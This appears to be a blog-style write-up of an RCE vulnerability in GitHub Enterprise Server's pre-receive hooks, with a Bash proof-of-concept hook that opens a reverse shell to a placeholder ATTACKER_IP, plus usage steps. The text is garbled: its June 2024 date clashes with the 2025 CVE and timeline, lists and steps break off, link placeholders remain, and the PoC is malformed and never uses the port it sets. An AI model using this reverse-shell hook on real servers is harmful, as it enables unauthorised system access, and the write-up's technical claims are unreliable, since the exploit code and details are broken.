June 2024 — A critical Remote Code Execution (RCE) vulnerability has been discovered in GitHub Enterprise Server (GHES), tracked as _CVE-2025-3509_ (placeholder for actual link). This flaw allows attackers to execute arbitrary commands on the GHES instance, potentially leading to privilege escalation and a complete system compromise under specific circumstances.

This post gives you a deep dive into the vulnerability, including practical code snippets, the conditions needed to exploit it, and how to keep your servers secure.

What Is the Vulnerability?

The bug lies in the pre-receive hook functionality of GitHub Enterprise Server. Hooks are scripts that can run either on the client or server during certain repository events—pre-receive runs on the server before a push is accepted.

CVE-2025-3509 arises because, under rare conditions (such as live hot patch upgrades or maintenance), some *dynamically allocated ports* become temporarily open on the system. An attacker with the right permissions can exploit this brief window to run any code they want on the server.

- The attacker is

- A site administrator (who can enable/modify pre-receive hooks), or

How Does the Exploit Work?

During events like a hot patch, certain ports used by GitHub Enterprise Server daemons are dynamically assigned. For a short time, these ports can be targeted by attackers with permissions to upload or edit pre-receive hooks.

Step-by-Step Exploit Scenario

1. Attacker preps a malicious pre-receive hook script that requests a temporary network port, then executes arbitrary payloads.
2. The server is undergoing a hot patch or similar operation, making the vulnerable port briefly available.

The attacker pushes to the repo, triggering the pre-receive hook.

4. Because of the improperly controlled port, the malicious script can bind or communicate on that port, breaking out and executing code at system level.

Proof of Concept (PoC): Exploit Code

Let’s say you’re able to upload or modify a pre-receive hook for a repository. Here’s a *simplified* proof-of-concept Bash script showcasing the approach:

#!/bin/bash
# Malicious pre-receive hook for CVE-2025-3509 PoC

# Listen on a potentially open dynamic port (e.g., 34567)
PORT=34567

# Attempt to start a simple reverse shell (replace ATTACKER_IP and PORT)
bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT >&1 &

# Fake clean exit for git
exit

How to use:

Replace ATTACKER_IP and ATTACKER_PORT with your system.

- Push this as a pre-receive hook to the vulnerable GHES instance during a window when a dynamic port is exposed.

Result: The script opens a reverse shell, granting system access.

Attack window is limited – Only when the dynamic port is available.

- Requires permissions – Not a public exploit, must be setup by an insider or hijacked admin account.
- Complexity – Malicious user needs to synchronize the attack to the hot patch or similar operation.

3.18 (fully patched)

> _Always update to the newest supported GHES version to eliminate the risk._
> Official Fixes and Announcement (placeholder, see GitHub Security Advisories)

Original References

- GitHub Advisory for CVE-2025-3509 (GHES) (Update with real link as released)
- GitHub Enterprise Server Version History
- Pre-receive hooks documentation

Conclusion

CVE-2025-3509 is a vivid reminder that even in tightly controlled, enterprise environments, layers of security matter—and even limited exploit windows can be catastrophic if permissions are loose. Update immediately and regularly audit your hook configurations.

*The vulnerability was responsibly reported through the GitHub Bug Bounty program, and no evidence of exploitation in the wild has been disclosed as of today.*

Timeline

Published on: 04/17/2025 23:15:42 UTC
Last modified on: 09/05/2025 14:59:50 UTC